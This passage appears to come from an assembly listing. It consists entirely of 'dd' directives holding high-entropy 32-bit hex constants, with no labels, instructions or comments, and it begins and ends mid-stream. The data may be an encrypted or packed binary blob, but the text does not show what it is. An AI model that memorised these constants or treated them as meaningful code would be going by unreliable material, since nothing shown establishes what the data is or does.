72D1A28Fh, 6C542E80h, 0D7E8F500h dd 0F8B0A39Fh, 82950017h, 0B1E64344h, 0D4ED47A8h, 8A399933h dd 883E830Eh, 0E87BB55Dh, 3B70836h, 676EFE84h, 1100A6EDh dd 0A8F705D4h, 12406DA5h, 402474B9h, 0BE93CC38h, 34012E68h dd 1C9112A9h, 0AC20433Dh, 0B5C900CBh, 2A90059Eh, 0E30039E0h dd 17FE38CDh, 5828F6B0h, 0E20092BDh, 452BF47h, 54070F53h dd 7D4468E4h, 202276B0h, 0F82F0C99h, 94F037BAh, 0E3198500h dd 0D06F14BBh, 67050132h, 5E6228C9h, 8EE6E00Bh, 0C73E9300h dd 975A20FEh, 2E1C71EDh, 6AB5FDh, 9282887Bh, 1D6096B9h dd 8E625EC9h, 67280250h, 344A5615h, 6BD7C4A0h, 3E00E3B0h dd 1AAF5AEFh, 0E63642Eh, 0DC108D1Eh, 827BFA20h, 6C07B80Eh dd 0F5EC22Fh, 69A04697h, 36CD92h, 0CF0C4A19h, 50564CEDh dd 4284E79h, 0D73AC072h, 2FA00013h, 28DAE1C1h, 233A0098h dd 4D119F1h, 2D00AA3Fh, 15976B33h, 4D5E69h, 6613ECF5h dd 24DA9AF6h, 0BE180700h, 37253263h, 0E1B739F8h, 82FC1D1Fh dd 0AFF2E853h, 0F4A0A441h, 270041E2h, 0E46A6C2Eh, 1D59DA67h dd 0AE5BE35Fh, 0FCCF009Dh, 534A7B97h, 89313700h, 0FAB9A9EDh dd 35796Eh, 0BBA8DF77h, 2604B14Eh, 0ECAEE500h, 0B3508DC2h dd 0D2E3004Ch, 28D6F5E2h, 5A125FC5h, 7C1EE09Bh, 54C9A947h dd 0F7B8E160h, 33EF899h, 43E87802h, 0A8D49EAh, 8C74D0h dd 0A286DE33h, 7E004A13h, 0CBC16115h, 1C0AC3ECh, 406509ACh dd 9A99954Bh, 2500A14Ah, 4CFAD7EDh, 1A9177Bh, 0C6662174h dd 35E03AD8h, 8848FE24h, 96004A58h, 8FAF84D0h, 0EACB2CBCh dd 93B90077h, 0FF64262Bh, 290E447Ah, 20C66588h, 0C5D78261h dd 0CB720143h, 170297ACh, 7589E0FDh, 654BD300h, 0CFC624D1h dd 479218C3h, 0A70ED893h, 0EF01CAF8h, 18464FBEh, 34F07B6Dh dd 2A90099h, 0A6C9F875h, 78009047h, 8AE041Ch, 54F631h dd 14ECF1F7h, 0A862604Dh, 30C6ED00h, 9D1990E9h, 0F2773Ch dd 5D5313ABh, 0D7D018AFh, 7369D313h, 0FA2F0700h, 0FA859D0Dh dd 0FD2D014Fh, 8D22844h, 439C402Ch, 0FE4CC68Fh, 73A70F14h dd 9AF4C106h, 70C0FC11h, 2D770076h, 7AF81C0Eh, 0CE8DD0Fh dd 798B2100h, 2BCFA1E8h, 6E900061h, 8D5D438Fh, 667ECCF2h dd 85A43000h, 8042EB50h, 6B0E80FCh, 15D0D31Eh, 72517CC3h dd 1DC8A83Eh, 4C6900B2h, 0F90E3D97h, 790021A5h, 0F3323706h dd 2A9F42h, 958DD676h, 0E1914915h, 0BDD15F04h, 8C018A6h dd 7D0A20h, 60AE1EF8h, 0E62FE805h, 9DE8C748h, 0FC00A7ACh dd 4CAD42F2h, 0EF5426E7h, 0E0EE0040h, 0F751989Ah, 3802B890h dd 2B79808Eh, 0EA1C4018h, 0A7F61D86h, 0B3E3C10Eh, 6466B267h dd 38108348h, 340F1671h, 768063F2h, 0F13C914Fh, 1C5BA00h dd 9252B40Ch, 3598008Ah, 0D6552310h, 2207645Eh, 0AA746207h dd 7DB0E630h, 0B81B7F3Eh, 0B7101h, 0EE03F250h, 62FC5B83h dd 66D82900h, 4A2BDC58h, 0B9724830h, 0F7E87600h, 0E99624D4h dd 0A37B5700h, 7DFD29B6h, 0C67800EDh, 0AD984DFh, 0CBE0E7F2h dd 1419400h, 0BDB3A2B6h, 9B071D1Eh, 7391C1C2h, 3081DB9Fh dd 0AE024158h, 94B07178h, 3199C0FCh, 0D93A008Dh, 0BBF254C3h dd 7C035C50h, 761FD0FAh, 0C26FD0AAh, 6B90981h, 0B900A5FCh dd 0C7741560h, 0DE00ADE0h, 59228DA7h, 23FEFBh, 94BA7BEEh dd 7198096h, 0C6F1CF01h, 2DE6C9D3h, 0E901DCh, 0A3812C95h dd 904577Bh, 0AE0A3E00h, 27C6AA4Fh, 99AB07CCh, 0B0483592h dd 1AA44756h, 0EC16047Fh, 1400C131h, 2BE2B0EBh, 556C00C4h dd 185EF692h, 0A03FD07h, 82CA4F88h, 4B8A8DDh, 9D6600BDh dd 0F1B17CE7h, 0A6004DA5h, 0F7C50F72h, 405C5158h, 820F12F3h dd 61D4F55Fh, 0D23674C8h, 0BCEEF0h, 3B66D503h, 49536AD9h dd 91E24D00h, 0A87A1EDBh, 0F77600E3h, 8CC1B130h, 88023506h dd 595C45ABh, 8464401Bh, 509E4DC3h, 7B699200h, 4750FC1Fh dd 67520C12h, 97C03C00h, 0F4CCCC1h, 0FB4A418Eh, 8579BAE0h dd 0B6EC3BC3h, 0DCAF0800h, 73AA1B7Ch, 0E9510057h, 59D9C90Dh dd 0D7F25563h, 0DBC3FF00h, 46A491EDh, 78E098B8h, 0B23000E2h dd 49EFE443h, 2000CDA0h, 8D1DD848h, 3B946B3h, 9E5B03F4h dd 5AE08940h, 0E313F634h, 0D8076961h, 0BCF07066h, 0C24159h dd 0E75816ECh, 0AF1E6ADAh, 2B13EF00h, 267F6881h, 0C198007Ah dd 7180EADEh, 0D74C8C99h, 0C63031Fh, 87EE12FDh, 0FCDF1F60h dd 13DE2E5h, 0DE9AF5ACh, 0E03505A1h, 6D14BA04h, 0D874FBh dd 0B528C5E0h, 1DD27CAh, 0CE45DCB3h, 3021D142h, 0DF1F2D35h dd 5101EB68h, 4EDB1106h, 6013FDE4h, 0EE4B110Ah, 2E00BD60h dd 20E85CB1h, 5F165DAh, 92FC5703h, 80C00EA8h, 0D6109E0h dd 0A008C4Eh, 242107BAh, 0EC7B8644h, 0F2C80C71h, 0B3DC3D9Fh dd 22911613h, 41192C00h, 9714A3h, 1BB93A17h, 86657C15h dd 22C0AF50h, 0FDF32D10h, 0F9F4C900h, 5733AD4h, 46053072h dd 0DD0B29D1h, 7574B0C1h, 0BA2BF4h, 8547E945h, 1DE562F9h dd 0D9816100h, 25CDA372h, 0C8BABFh, 0F75FB830h, 38D20806h dd 0B29AF100h, 4FD68C9h, 46ED0065h, 39AD1DA3h, 9E007334h dd 0AE803EC3h, 0EA7EA896h, 32C0794h, 0F6CF6BCCh, 0EC02A41Dh dd 470871CEh, 0A22BC025h, 24731C29h, 9B19800Dh, 53C88879h dd 0D4AE6313h, 262AB000h, 790A4FC6h, 55BE007Fh, 7857C51Dh dd 651C229Bh, 0E6C0DE6Ch, 66F8682Ch, 76C8928Bh, 3E80001Ch dd 0B8225270h, 87009FF1h, 0C21D7496h, 0E6CF1698h, 47A105F0h dd 384EF2h, 3C4B799h, 0FA311EE8h, 0A4538043h, 7DF4EEE6h dd 35663DE9h, 927E5580h, 6A774AAh, 0F0C7AF00h, 0CB2154ECh dd 814A39E6h, 64CC7B00h, 0C6FFF5EAh, 6D88AE00h, 0D7DD0241h dd 812400E7h, 0DA9315Dh, 0EB003311h, 78F36336h, 9D43B96h dd 23BC64CFh, 225C2481h, 9A9CD052h, 8E486A3Fh, 0FC1204F6h dd 5E4E7C07h, 0FAC05BD0h, 0D1FCB8h, 0E1BA40F0h, 8018582Fh dd 894FAD0Bh, 4B6CA032h, 0E5201B8h, 5DF8E219h, 5F7C4A81h dd 0A1E0E71Dh, 0D30F279Ch, 60BCFAE8h, 46A31E61h, 40670045h dd 35B060D2h, 1700FE90h, 4E37E5BEh, 0B0D0EC10h, 6AA10068h dd 65DCFA6h, 37D576Eh, 4D827B00h, 0C95067CDh, 890D60D8h dd 8F044046h, 0FE5B6D2Eh, 38209802h, 4894C6AFh, 0CA06DADDh dd 0A85F7E45h, 89C58C01h, 17BB739Fh, 0AA832FEDh, 0A5E5AAC0h dd 3C9592A0h, 0CEAC9E01h, 616FDFD8h, 0E7300C38h, 94D1AA51h dd 751CCF00h, 731599A8h, 49A500DAh, 0FB1E8DB7h, 667284D2h dd 0DF1936EAh, 1CB18B87h, 9367D8h, 48223F44h, 535C9E17h dd 8F817F04h, 80D292DBh, 0BC88EBB2h, 0FEBA880h, 39C8244Fh dd 95033BD4h, 3828F802h, 0E3B04BE3h, 96586C31h, 0A19D0041h dd 7CC88CBDh, 78DC60AEh, 0D7EF6E46h, 0BE417D3Eh, 1F3460B4h dd 0F4438B84h, 59201D2h, 2F14E080h, 0DBAA7010h, 3200D17Dh dd 0C217AE88h, 28A3B4h, 1B6F29E3h, 6D0D8139h, 4950E100h dd 22CCABB1h, 53410E96h, 9C4E5A5h, 80A4E020h, 605E9914h dd 0C7D90380h, 9018124Bh, 0AB66E0h, 0BA26A4BBh, 0FDC21C4Ch dd 0DBE2C60Ch, 52EAB80Ah dd 0D700B83Dh, 0C58F28E5h, 0A0B8BC3h, 0AF6E58h, 0ED83C894h dd 6B3901DAh, 643FA285h, 0F7B850D6h, 0CA30FF3Ah, 6332821h dd 0B79B007Ah, 0DE364CD3h, 7126466Fh, 16805C31h, 8E2BF45Ch dd 3B2DFC87h, 0B1B88098h, 1CA6AAD0h, 0C04AE105h, 1D310A39h dd 30013C6Eh, 268663C6h, 0C0BEC769h, 5B088000h, 270750F7h dd 0A701B0FEh, 6C3765CEh, 0B7E48228h, 8C1D18ECh, 1022A94Eh dd 13E50F00h, 95AABEEFh, 0D75500D5h, 5DB32C66h, 740C902Fh dd 468E7A0Ah, 18200ED2h, 0E40029E9h, 108A8BAAh, 3705A48h dd 0A1959794h, 3F3AD0A5h, 8E6500E9h, 0A30C3361h, 76006C8Bh dd 17D06FF1h, 84D9EDh, 0E61A7C55h, 148BFA05h, 0A141DCA8h dd 0D6EBBF05h, 94606851h, 50DB3C5h, 6F5C1FBCh, 0DB0CA0ABh dd 5500F2F6h, 0C9A5035Ah, 1A8D1Eh, 0B045843Dh, 68669DA4h dd 8927303h, 0C0DD0D4Eh, 1448977h, 78FBEBCAh, 2C10543Eh dd 88651FD0h, 2EF3B900h, 48AEBC2Bh, 0C8052015h, 306EAAA9h dd 9FB91F48h, 48621700h, 0B7F2A304h, 24360235h, 5EEF551Dh dd 27C03040h, 0A3919802h, 0E3A46A26h, 8D85C1DEh, 16CED5F4h dd 20FFEBDDh, 590A6584h, 7BF33600h, 0BD0304E8h, 0D23501EEh dd 29895E55h, 31B84049h, 0C377109Ah, 0C948DFB0h, 3EDD0FFEh dd 0C2D82EFFh, 6A17BD3Dh, 0C538B848h, 0CD921368h, 5D8935Ah dd 82C849D3h, 4B00EFB3h, 4CA15E9Ch, 554DE8h, 0D58E5C93h dd 0AF96C7FEh, 99010DFAh, 0FC237274h, 0EC70C1E6h, 67F00022h dd 718EF18Bh, 0AC4DFFCEh, 0A0D80104h, 8F4F1F68h, 0BCB9D8h dd 0A8D1F116h, 6AE4F9C5h, 0F7B88A0Eh, 3B172357h, 0D4C1B86Fh dd 0DC732Ch, 0FE684CF9h, 543DBF9Dh, 800CEC38h, 0F211F99h dd 3AA1E167h, 4100F074h, 97DD22DFh, 0AA0799EDh, 7508C8D3h dd 378123D1h, 681824h, 3B61F03Ah, 2888A10Eh, 0D57A8BF4h dd 7E0C3001h, 19D2ACEDh, 1951AD8h, 0CC7243BDh, 0EEB60799h dd 0E821D089h, 34D8D01Dh, 481D589Ch, 9D02F3B7h, 0E0B4F760h dd 19DB1Ch, 0E9C3EA85h, 6BC454Ah, 1DB5D900h, 3E21485Eh dd 4F3F008Bh, 701A1273h, 0FA0072E9h, 929EAF08h, 0FDDE2F6h dd 7F6B529Ch, 0F8FEB1C2h, 698BDDC0h, 0B6028302h, 402DC7EDh dd 739A0A9Ch, 0F4D14C27h, 0EACE5C00h, 0FED9023Fh, 538FA81Fh dd 0DC3A3242h, 26704860h, 7B070742h, 1089DF7Eh, 0CDDD3454h dd 0AE73D000h, 4BA53979h, 16CC1395h, 143C9886h, 7FB8EF01h dd 0F62A8C7Eh, 97D874h, 0A003BB68h, 74590BEAh, 24845Ch dd 0A530C36Ah, 0C6BA6h, 42F03F58h, 0F17D4BC8h, 717BBC92h dd 0AA345D75h, 62E810FFh, 19F9007Ah, 0A43A2897h, 0A00D3D2h dd 91693CA9h, 73889EAh, 9A95F6B0h, 0F32212DDh, 4DE680E0h dd 0B28C4C00h, 2FB3B2Ah, 0CC493F1Dh, 7F52F780h, 2439ECCEh dd 0D30020BAh, 2D4413CAh, 0E49ECDB2h, 68420637h, 10CE7356h dd 1CF88F2Eh, 0E7873182h, 7ACCA2CAh, 0BF116084h, 489771FBh dd 0C10284AFh, 0DEDB6B2Ch, 87B3A6C1h, 22CFEC22h, 678C8AF0h dd 0FFEA01BDh, 785BAF19h, 6F7C3415h, 2812E724h, 7611D580h dd 1C95CD20h, 2AD9D2C3h, 0C4C8A994h, 77D8FFCh, 0E44EB0B3h dd 0E940CE10h, 24CC9A73h, 66C0A000h, 83D308B5h, 82160197h dd 296FE85h, 0AE98895Eh, 0C330803Fh, 39DA6F8Dh, 0A2804C59h dd 84505D95h, 9A129F3Ch, 52000B4Ah, 9EC1A777h, 5FB30022h dd 0E0EA4278h, 0D80066F6h, 5381876h, 0C09D9031h, 67C725C1h dd 0ED018AE4h, 0AC773A1Eh, 6AC47A80h, 6EDE000Ch, 0EA509E68h dd 4C05B44Ah, 0CFE9474Bh, 6048DE82h, 939860h, 0F71E62BEh dd 706DBA2Eh, 19E40700h, 5D4A6BBCh, 0B9A93E81h, 0D3DB3F00h dd 633576EDh, 317827h, 71411BE0h, 736700B5h, 6AE76EFEh dd 0BA3FEE20h, 77858084h, 404B523Dh, 6DF414B9h, 4C12C4F9h dd 0E058871Fh, 27156768h, 0CDED4013h, 9472F000h, 0F202128Fh dd 7B4977F0h, 7E4F16ADh, 63C0039h, 4DD5EF26h, 73511A00h dd 9E3B5D3Ah, 785760BCh, 86DCB120h, 6EA5801h, 0AEEE26F8h dd 44FF5030h, 11133D90h, 3E074F4Bh, 7EA0AC5Ah, 0A143B3h dd 0ED55AB63h, 85F3DF6Ch, 0E3DA6000h, 91AEB15Dh, 82560052h dd 0B615A230h, 0FE005A4Fh, 0B3429F7Fh, 0C6FB8Fh, 822AF332h dd 0C5F0CC6Bh, 34C88D00h, 0A8C42709h, 24157BE0h, 0C3A35h dd 0CF18A3B6h, 9B17FD2Dh, 880003C5h, 0CB3F5614h, 4D653F51h dd 0DD116D80h, 6C99CDE5h, 0F0C4758h, 242ADFh, 9AB92244h dd 0FFDE0931h, 0CC810B23h, 0DC0CC9EBh, 0DC0006C4h, 2FFAF120h dd 1D9C11C2h, 52794Ch, 2633188Ch, 0BD00A395h, 0A8D6F915h dd 347132h, 0D9F67DCFh, 0FC1D394Dh, 48B4C405h, 68C082F7h dd 16BBACh, 90122340h, 0EEABA06Eh, 0E75BED07h, 6CB0DB5Fh dd 58D083h, 337F5E77h, 0B519BD2Dh, 6F3C0EE2h, 0CB7B8131h dd 0C542B7B4h, 11098C3h, 0DAA616ECh, 0F0FCC47Ch, 43B83264h dd 1CBBC74Ch, 524463D3h, 0D4974F34h, 93E300D9h, 0EEF5D706h dd 24830084h, 57C2EC09h, 4101D087h, 4E343A10h, 5FC8048Fh dd 6B0B05FCh, 638A3Bh, 93D2498Dh, 11C06EA3h, 0B2602BFFh dd 0D3317DC1h, 0E6570018h, 0B78B390Fh, 66C68400h, 0AADAD038h dd 0B1B93A45h, 832D6CC9h, 0F171490h, 480E08F4h, 0A03AA686h dd 0ED812C46h, 41681DFEh, 0B730F949h, 4EA467C8h, 709D4724h dd 3D98C701h, 22D4AFE0h, 3B697337h, 150734FBh, 300616D8h dd 9362B5F7h, 0CA1D7400h, 0E22672ECh, 0F0B21764h, 9C88000Dh dd 0C8FD41BDh, 179B5700h, 3807308Eh, 0BC7D9Dh, 0E7FC773Ch dd 0A3D8E4AAh, 321C2909h, 9DE40049h, 53CD1CEh, 1DB3FEE9h dd 0D253C099h, 5FE23EE3h, 2E85AA03h, 825D3BFDh, 0DBC86015h dd 48DF7027h, 0FC034064h, 7DA8ECBCh, 0BBF51100h, 19D7C46Fh dd 0EC9AEEB4h, 5AC800E5h, 6DF6207Ch, 0A00206ABh, 0EF080E13h dd 85A3403Ah, 17EEF6BBh, 802391D9h, 6E45CF04h, 2E21FC20h dd 24EA6272h, 556800F3h, 0CCF73296h, 75E6E100h, 0A319B40h dd 6DA900FDh, 3E3BB285h, 43014E1Fh, 11D19213h, 8220816Ch dd 0A5363B28h, 2917216h, 790E24C8h, 9B4E638h, 0D716D1CCh dd 6197C087h, 3CB37374h, 5CD92EB4h, 80F94C60h, 0A18007Bh dd 74E28781h, 0A50032A1h, 0BDED1528h, 0AB6E46h, 4AE7228Ch dd 37CCA033h, 9600B6ECh, 2774F017h, 2E2213Bh, 2EEBEA0Eh dd 98C0E9F5h, 700338Ch, 0DCDEDD83h, 14AB385h, 93D17D29h dd 2AD49F8Eh, 4356F400h, 0C637DBh, 140CE6CAh, 0F7DE4B19h dd 907E8503h, 0E0824E0Dh, 0E10E0AC0h, 0E6F45B71h, 4755008Ah dd 0FFA773B7h, 0C500361Eh, 0EF46E733h, 5E684B87h, 0C05C1DBCh dd 0D212D80h, 0F1300CE0h, 0F9B886DCh, 37450FE7h, 0EAC09108h dd 3903DA0Eh, 34432A0Fh, 525F8970h, 6F0B03BCh, 0F2918FAFh dd 824C5580h, 0DAA5F500h, 6D0C9EE5h, 0D48B0231h, 96BD05D1h dd 0BA006CF8h, 53D56217h, 0C1ABE6CCh, 0C5618390h, 26C360A7h dd 65DDC31Fh, 802660Ch, 69910757h, 5E82ABC6h, 696A28Eh dd 21011797h, 25488B17h, 0D8A51440h, 5727CF1h, 75C8E288h dd 1020D68Ah, 0A4A7E107h, 4B8066F2h, 3050278h, 0C64982C0h dd 26A310D2h, 902D491Fh, 1F298A03h, 0B690114h, 867C72DDh dd 503CCF7Ah, 8A320652h, 1392DFFh, 0E6011279h, 0E52A635Dh dd 237D0F5h, 0A2C06D07h, 0D8D1578Ch, 0ACD8B6EAh, 2FAA002Bh dd 9F29AE3Ch, 280041A6h dd 6382147Ah, 0E0FD49h, 0C6275CC2h, 0CDC4E4Ch, 32E74400h dd 3BCDA2D8h, 0FE7E002Fh, 8420B87Ch, 0F0A8BF95h, 0EF025FEAh dd 53F40881h, 0C875E314h, 3920B91Ah, 0F7318F2Ch, 60DF5118h dd 7930AEACh, 58FAC06Eh, 24383089h, 0C7A3A620h, 20D4EB08h dd 0DDCD8157h, 80555173h, 0C27C7711h, 0A060EFDFh, 0CC50D2A0h dd 1215108h, 76C27A00h, 7E28BEFCh, 88146003h, 0FB809E34h dd 37AEEA80h, 0C768E78Fh, 18C406BEh, 9821073Bh, 45D982B5h dd 361516EBh, 2F00328h, 830EDE0h, 164421B8h, 2D721C80h dd 0F9348183h, 0C8D954D3h, 420767D2h, 0B4147166h, 0A28F7B93h dd 74D88138h, 0C0F856D0h, 3249006Ch, 0F1721EE2h, 0FB1C0416h dd 0ABDD0A3Dh, 80F54A4Bh, 0A94D1B54h, 4807073Fh, 4C748217h dd 160F9D10h, 0C0E841D4h, 8FE12B3Dh, 0C0D3E83Eh, 0D41EA321h dd 9C7CF2FFh, 2759B600h, 7CEE7795h, 981C03E5h, 7193A84Eh dd 972310Fh, 0DB837D16h, 0A6193EA7h, 28BD1C18h, 2867BA42h dd 3951926Fh, 75733340h, 0B3016374h, 1877059Ah, 29803A49h dd 1247E45Fh, 0AC5CB0A7h, 3D096FBBh, 0EBFF2073h, 0B6149847h dd 872E163Fh, 0BA0606B8h, 0DD1F919Bh, 6718181Dh, 10B311h dd 16E7C23h, 8C598833h, 348E0A07h, 8F739102h, 0E8B10087h dd 50B7D0Fh, 700E4BEDh, 8C365DCDh, 38E21AFh, 0AB807D18h dd 0B2F0F82Ah, 1700E0BFh, 0E2099E22h, 6F4070Dh, 0A7A890E3h dd 86308163h, 0FCCD414Eh, 0CC3FAEEh, 80881F0Dh, 4000CF19h dd 0C9F791DDh, 2E1489h, 2D46BF78h, 83717C37h, 771A151Ah dd 1D980450h, 0F470960h, 18A8A723h, 0E0FC2198h, 0D2D475Ch dd 70960767h, 0F409F0h, 0A50A62E2h, 4DAC5F73h, 0E6267C00h dd 6543CC60h, 30B5E854h, 9264C6E1h, 4937BD82h, 22A0414Ah dd 7593C7Dh, 0ECA40C90h, 0C7622175h, 309331FBh, 4D608590h dd 0A25FBFE1h, 5576E8BCh, 2CF0E4B7h, 51596765h, 0C33280C6h dd 0C13905B4h, 26B930FCh, 1CE11695h, 800BBCC8h, 31BF1A28h dd 0B2ECF7DBh, 0BDA8F20Ch, 61955199h, 0BAA571D7h, 0D05D212Ah dd 0F02C84FFh, 4A02A5ADh, 40A0A13Bh, 0E105411h, 90A8D02Dh dd 0B7295280h, 48C8AA4Dh, 0B9FD8h, 97D63D85h, 7A01A3B0h dd 0D44FAF67h, 0C870E26Bh, 0E56400A0h, 859544CDh, 0BC04363Fh dd 3A18EA7Ch, 209B8092h, 94714AFFh, 82BB2100h, 0BA23B93Fh dd 32DB888h, 0E54858F1h, 89F4C87Eh, 0A27C3064h, 0E76BB700h dd 0DCC42A0Ah, 0F5C31E65h, 0D81F0060h, 0DD61242Dh, 0B4278324h dd 0B510804Fh, 0A0A507h, 0D782AF0h, 0B8E8DF16h, 4300C698h dd 1A6A3C64h, 0A4EB83E0h, 0C4D518E8h, 7538302Dh, 67D01106h dd 3421AA09h, 4050A466h, 497C2268h, 0E6EC9E30h, 0C90D5Ch dd 0CA5F31CDh, 11158Bh, 748F91DAh, 5B8166E2h, 2AC93B00h dd 0ED1C4869h, 9C803CD1h, 6D156100h, 51608E38h, 700CCA78h dd 69133FB3h, 4E0F078Dh, 0A01A68F3h, 0E686698Ah, 0E1CF7403h dd 85D51F2Ah, 0F3E7043Eh, 100CEF09h, 18B73CB0h, 40F7004Dh dd 0E85F43C5h, 5A01DACDh, 0D4392762h, 0C3DCB02Ch, 4A7A0C15h dd 6429436Fh, 2EC640h, 72118E17h, 5DC13406h, 80D69A3Bh dd 0DA90C7C3h, 16ABC48h, 0B1661368h, 0D4D0355Bh, 951EFEA1h dd 0A6C0AE21h, 2F6BEFE9h, 7CCE1D8Eh, 92B740AFh, 78642D6Ch dd 0F7DC3A00h, 0EDC9D354h, 0E97C43h, 0EB60ECB4h, 0E8B1E20h dd 0C732C600h, 4766DCB0h, 0D7145C4Eh, 0D3F3C300h, 0E993CAC4h dd 0BB6FB238h, 30B780F5h, 0F1C9DF7Dh, 0CB920105h, 0E69D6C0Eh dd 134DCC80h, 0D1025773h, 0ABA7E3D4h, 3E1CE09Bh, 174301F2h dd 9972338Ch, 7B41E13Dh, 17E3BA0h, 2EDD7A24h, 70CA9E8Dh dd 0BA06CBD0h, 2AC223CEh, 0E7E326D0h, 97180072h, 3214DF26h dd 893D2703h, 90F4F898h, 170C1021h, 0F3CAB5h, 6A5CFE2Bh dd 0FA1E77BBh, 0F20054ECh, 9E6EB0A6h, 0CEA50013h, 8F3EA482h dd 1503E180h, 0B1E304D3h, 1B6AA810h, 3827008Ah, 69C31154h dd 89033795h, 0EA335817h, 60979FCDh, 0B1468D1h, 0C2D01025h dd 9B3B004Fh, 2BA867DBh, 0DF03767Dh, 0A18418Bh, 0B400058h dd 4022E9CDh, 7800E2C1h, 0D771CB25h, 69C2C5h, 32133EAEh dd 0A5F2D358h, 2FEEBB00h, 0C67F8E30h, 41E2007Bh, 0C71FCF65h dd 2C7A03DCh, 0FB00A67Bh, 307ADF44h, 72440D3h, 616D9A78h dd 24BE6FE8h, 1EF38C60h, 0D03012D9h, 2F0281D6h, 1A4E004Dh dd 43288F6Fh, 0D43F8A6Ch, 0D3B08E52h, 0C9CB9E16h, 0D27706F5h dd 0F9B080C9h, 2C000E0h, 0C2380F9Ah, 0E500FF6Ah, 817804B3h dd 0EC7FC59h, 278FA920h, 4A9EE881h, 52CCE882h, 0F80067F8h dd 2C264C6Bh, 0E3157h, 86AD9B21h, 5DF17712h, 3CB82760h dd 3087078h, 0ED2EF6A6h, 9DE0D290h, 0F150A1F4h, 45004C84h dd 213C7A1Dh, 4D7786h, 0BFC9BB72h, 14D88C94h, 0F627D500h dd 1C5EF9A7h, 25A50F56h, 67E39351h, 0BAA0C7E7h, 12002824h dd 0B0084586h, 61DCC5h, 0E7CBF2AAh, 0E3EEA5ADh, 372F1200h dd 23B28924h, 0FCA0A011h, 793200CCh, 590BFE41h, 0E300D714h dd 6D2758A1h, 0F62CA2B7h, 95A707A3h, 0BC44A06Bh, 7C3886D8h dd 1723810Fh, 11CE0853h, 56E2F0h, 31A03E15h, 0C3719BE5h dd 0CDF67707h, 0D310B77Ch, 0F6AA4196h, 82F5304Ch, 1CA289A8h dd 0F9C84D01h, 1D4295EBh, 0C03D2CC0h, 0AE097EB0h, 0A930B05Fh dd 264D307Fh, 8CF504B2h, 929BD01Fh, 5846D860h, 1654AA01h dd 0B7DEE091h, 24631424h, 60088737h, 6F95418Eh, 0FDE8D000h dd 0FB197DAh, 4FF30015h, 0F22D08C6h, 25003EA7h, 1B09AD4Dh dd 2D40B9Ch, 51A8440Eh, 77C1E198h, 7D6CF00Ch, 0F2B17E00h dd 26671CABh, 7BB32C2Ah, 0DC1E73h, 9C11E4C5h, 0B604818Fh dd 0C2A5DD36h, 153ECC8Ah, 3411EC03h, 8EF0E85Bh, 0C90CFDA6h dd 48C71303h, 0B4BD0006h, 2D8B28F0h, 6A283DBFh, 1500ECEFh dd 6B61A8EDh, 8D57B7h, 0F0A72C72h, 12070147h, 3C5B6618h dd 0FC0AAD28h, 0FAF84Ah, 9A695E6Ch, 0CA558DD7h, 5BAE3813h dd 599F0C00h, 70DD18Eh, 0F5119097h, 9C790089h, 0E12CCB37h dd 0BB1224D2h, 0E6ACF400h, 1BCCD7C0h, 0D092DC7Fh, 74A15E88h dd 46518109h, 9BD8180Fh, 0C4C95241h, 1B70F403h, 8690F6D8h dd 65001913h, 9DF3C912h, 0EA523025h, 7D9F1CA4h, 2C18DFD2h dd 4D9268h, 0A76CB6D8h, 0C600C777h, 0D8CABCE1h, 4C198F3h dd 949CB08Ah, 0B3383D3h, 0EF4080ECh, 7013D286h, 45DFB13h dd 12027D42h, 7B94403Bh, 60C203A7h, 579FBD4h, 7A39BBC0h dd 47F19860h, 7D1324E7h, 0CC3D303Ch, 0E6FCDFD0h, 908B4800h dd 1D850396h, 76C21F89h, 0C5E4806Fh, 0BC8211E1h, 23035091h dd 0A8C68553h, 0EAE2D5C9h, 0D6930289h, 9E08433Dh, 68A6C864h dd 6F6A9501h, 0CBDA796Eh, 0D1B4A410h, 6BC30085h, 9D9B716Dh dd 219C5C4Dh, 332F8062h, 65F8A958h, 597EEF15h, 90F00884h dd 128022D1h, 5FFDB44Bh, 0CEFA01D0h, 0C9348D66h, 0E23DF09Ch dd 0FBEBF306h, 0C409353h, 34BD848Ch, 80096F1h, 0B0DECB42h dd 700A3561h, 44B9C0B8h, 2A9881D1h, 0FEB65D02h, 0C092800Eh dd 0C97353h, 893BCCA8h, 0EAB75C1Ch, 83A4B01Fh, 0E3789680h dd 0ECE6BB2h, 0C752B1E0h, 0A0E42CE0h, 0E103FF79h, 39C815Bh dd 98DBB3B5h, 6C3370h, 3A404BD0h, 216E4F5Ah, 0E0ED3D01h dd 6BC2B42Eh, 6DD71083h, 0E5C054D3h, 9409BE4Dh, 271C03F2h dd 0BF372934h, 0ADAAAF90h dd 28D04904h, 89B57883h, 0E29F0609h, 0B95080CFh, 1C36A35Ah dd 40FC5620h, 0E5ECB03h, 8E4C1060h, 0B0590008h, 866EB7E4h dd 8E62481Ch, 8DCF1D00h, 0D3AEAA7Bh, 2D0001EEh, 0A18BD789h dd 0A7B272h, 0ACD26A0Ah, 0EAB11B0Ch, 0FFAAF900h, 43E4C035h dd 204031Ah, 0ED127AAFh, 216826E8h, 9FD9B800h, 0F0A9521Fh dd 0FDEC08h, 9684F2BBh, 59079A0Fh, 4200EEF6h, 0D0C73302h dd 1D7714C5h, 0B84490h, 98EC2619h, 73ED263h, 222983B3h dd 0E894CEE9h, 2BBF56h, 0F94A8E04h, 0C43AF368h, 38D49F38h dd 1CD8044h, 100907C0h, 0A8B2502Fh, 0DFCE02B5h, 0AF4B71A4h dd 29C33048h, 1D7FED76h, 0FB008492h, 9588E9D7h, 0C2C840h dd 0F2500A85h, 312BB72Fh, 0C1649704h, 8881A123h, 0A107D6Fh dd 8603DE8h, 0F9CAD240h, 0F63122Eh, 98E040B2h, 8933B9ADh dd 1017C4A0h, 0D0EF7F2Ch, 0A4F0C901h, 0EC40A364h, 0BD46B5h dd 3C49D1Ch, 0D191E678h, 6F28FE0Eh, 36E4802Dh, 266C38h dd 6375DF3Dh, 128EE6EEh, 5D02507Eh, 0B19C4FCEh, 0BFC0406Dh dd 4A3F0024h, 4BCC9951h, 0A1031610h, 9E7B80CEh, 0C81FD25Eh dd 0B91C90h, 0AC3E3FE8h, 7B722ECAh, 5379932Eh, 830CD42Ah dd 0A93E4FFBh, 0F0B2461h, 0AB0980ACh, 0A56277F7h, 8AC3D700h dd 19FDADD2h, 66EB0076h, 1154FCA9h, 8C06313Dh, 0F5B0CCB9h dd 0F82A16A0h, 0BD7700FEh, 0D7A928D4h, 80DC7059h, 0CE5BC239h dd 0AE58008Ah, 0B47FEBB1h, 0E4074941h, 0E2851571h, 66E67752h dd 16531394h, 78C070DEh, 7A758FA3h, 0C53C0418h, 632DEB8h dd 0B16453Fh, 701671F7h, 0E401D414h, 6DC435Ah, 4C6EC0h 